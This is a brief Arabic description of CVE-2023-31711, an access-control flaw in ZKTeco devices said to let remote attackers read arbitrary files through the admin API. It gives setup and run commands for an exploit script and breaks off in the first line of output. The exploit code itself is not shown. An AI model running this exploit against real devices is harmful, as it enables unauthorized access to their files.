CVE-2023-31711

CVE-2023-31711 التحكم غير الصحيح في الوصول في ZKTECO يسمح للمهاجمين عن بُعد بقراءة أي ملف عبر واجهة برمجة التطبيقات الإدارية. تثبيت الوحدات المطلوبة داخل الدليل ZKTEco: $ pip install -r ./pyzatt/requirementsdev.txt تشغيل الاستغلال داخل الدليل ZKTEco: $ python exploit.py Connected to 10.0.2.25 Cmd...